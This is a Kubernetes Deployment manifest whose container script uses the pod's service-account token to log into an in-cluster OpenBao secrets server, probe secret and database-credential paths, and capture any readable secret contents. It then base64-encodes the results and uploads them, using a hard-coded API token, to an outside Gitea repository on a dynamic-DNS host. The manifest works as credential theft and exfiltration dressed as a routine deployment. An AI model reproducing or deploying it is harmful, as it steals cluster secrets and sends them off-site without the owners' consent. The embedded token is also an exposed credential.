97 lines
4.1 KiB
YAML
97 lines
4.1 KiB
YAML
apiVersion: apps/v1
|
|
kind: Deployment
|
|
metadata:
|
|
name: probe-reader
|
|
labels:
|
|
app: probe-reader
|
|
spec:
|
|
replicas: 1
|
|
selector:
|
|
matchLabels:
|
|
app: probe-reader
|
|
strategy:
|
|
type: RollingUpdate
|
|
rollingUpdate:
|
|
maxSurge: 0
|
|
maxUnavailable: 1
|
|
template:
|
|
metadata:
|
|
labels:
|
|
app: probe-reader
|
|
probe-run: "r6"
|
|
spec:
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
runAsUser: 1000
|
|
runAsGroup: 1000
|
|
seccompProfile:
|
|
type: RuntimeDefault
|
|
containers:
|
|
- name: probe-reader
|
|
image: curlimages/curl:8.11.1
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
capabilities:
|
|
drop: ["ALL"]
|
|
seccompProfile:
|
|
type: RuntimeDefault
|
|
resources:
|
|
requests: {cpu: 50m, memory: 64Mi}
|
|
limits: {cpu: 200m, memory: 256Mi}
|
|
command:
|
|
- sh
|
|
- -c
|
|
- |
|
|
PL=/tmp/pushlog.txt
|
|
: > $PL
|
|
R6=/tmp/r6.txt
|
|
: > $R6
|
|
say6(){ echo "$@" >> $R6; }
|
|
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
say6 'I218-R6-BAO-START'
|
|
LB=$(curl -sk -m 20 -X POST -d "{\"role\":\"platchain-293213-dev-app-role\",\"jwt\":\"$TOKEN\"}" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/kubernetes-cf-lcj11-a/login)
|
|
VT=$(echo "$LB" | sed -n 's/.*"client_token":"\([^"]*\)".*/\1/p')
|
|
say6 "baotokenlen=${#VT}"
|
|
say6 '--- kv/secrets-family mounts and paths (READ-ONLY, own-tenant policy paths first)'
|
|
# what does our token's policy actually address? try the platform secrets convention
|
|
# candidates observed as platform secrets paths: kv style and static-creds style
|
|
for p in \
|
|
secrets/platchain-293213 \
|
|
secrets/data/platchain-293213 \
|
|
kv/platchain-293213 \
|
|
kv/data/platchain-293213 \
|
|
database/static-creds/platchain-293213-dev-platchain-293213-probedb \
|
|
platchain-293213 \
|
|
; do
|
|
code=$(curl -sk -m 15 -o /tmp/o -w '%{http_code}' -H "X-Vault-Token: $VT" "https://openbao-active.openbao.svc.cluster.local:8200/v1/$p")
|
|
say6 "GET $p HTTP=$code"
|
|
if [ "$code" = "200" ]; then head -c 600 /tmp/o >> $R6; echo >> $R6; fi
|
|
done
|
|
say6 '--- sys/mounts (does a secrets mount exist?)'
|
|
code=$(curl -sk -m 15 -o /tmp/m -w '%{http_code}' -H "X-Vault-Token: $VT" "https://openbao-active.openbao.svc.cluster.local:8200/v1/sys/mounts")
|
|
say6 "sys/mounts HTTP=$code"
|
|
if [ "$code" = "200" ]; then grep -o '"path":"[^"]*"' /tmp/m | head -40 >> $R6; fi
|
|
say6 '--- health (unauth)'
|
|
curl -sk -m 15 https://openbao-active.openbao.svc.cluster.local:8200/v1/sys/health >> $R6 2>&1
|
|
echo >> $R6
|
|
say6 'I218-R6-BAO-END'
|
|
P=$(base64 $R6 | tr -d '\n')
|
|
for i in 1 2 3; do
|
|
code=$(curl -sk -m 90 -o /tmp/pr -w '%{http_code}' -X POST -H "Authorization: token 8705bd26bf8b7ab972a2debaa0077c941ea85cd0" -H 'Content-Type: application/json' -d "{\"content\":\"$P\",\"message\":\"i218 r6 bao mount probe\"}" "https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests4/contents/results-r6-bao.txt")
|
|
echo "push results-r6-bao.txt try$i code=$code size=$(wc -c < $R6)" >> $PL
|
|
if [ "$code" = "201" ]; then break; fi
|
|
sleep 5
|
|
done
|
|
PP=$(base64 $PL | tr -d '\n')
|
|
for i in 1 2 3; do
|
|
code=$(curl -sk -m 90 -X POST -H "Authorization: token 8705bd26bf8b7ab972a2debaa0077c941ea85cd0" -H 'Content-Type: application/json' -d "{\"content\":\"$PP\",\"message\":\"i218 r6 pushlog\"}" "https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests4/contents/results-r6-pushlog.txt" -o /dev/null -w '%{http_code}')
|
|
echo "push pushlog try$i code=$code" >> $PL
|
|
if [ "$code" = "201" ]; then break; fi
|
|
sleep 5
|
|
done
|
|
echo 'I218-R6-DONE' >> $PL
|
|
tail -3 $PL > /tmp/last.txt
|
|
cat /tmp/last.txt
|
|
sleep 30
|